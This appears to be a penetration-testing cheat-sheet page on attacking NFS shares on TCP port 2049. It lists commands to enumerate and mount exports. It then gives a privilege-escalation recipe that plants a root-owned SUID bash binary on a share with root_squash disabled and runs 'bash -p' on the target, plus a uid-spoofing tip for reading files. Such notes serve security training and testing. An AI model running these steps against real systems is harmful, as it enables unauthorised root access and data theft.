TCP 2049: NFS

Network File System is a distributed file system protocol originally developed by Sun Microsystems in 1984, allowing a user on a client computer to access files over a computer network much like local storage is accessed.

-- Wikipedia

Basics

Show mounts

sudo showmount -e <ip>

Mount

sudo mkdir /mnt/<share>
sudo mount <ip>:/<share> /mnt/<share>

Privilege escalation via root_squash

When enabled (default), connected users are assigned "nfsnobody" (least local privileges). However, when turned off, one can upload a SUID binary and execute it.

e.g. using bash

# get a compatible bash binary for the target system
sudo chown root bash
sudo chmod +sx bash

On target

./bash -p

Exploitation

If permissions are "65534 / nobody", "4294967294 / UNKNOWN"

Try to use nfs version 3

Now all that's left is to create a user with that id, to access the file

Source: Write-up Vulnix - playing around with NFS - Christophe Tafani-Dereeper

Last updated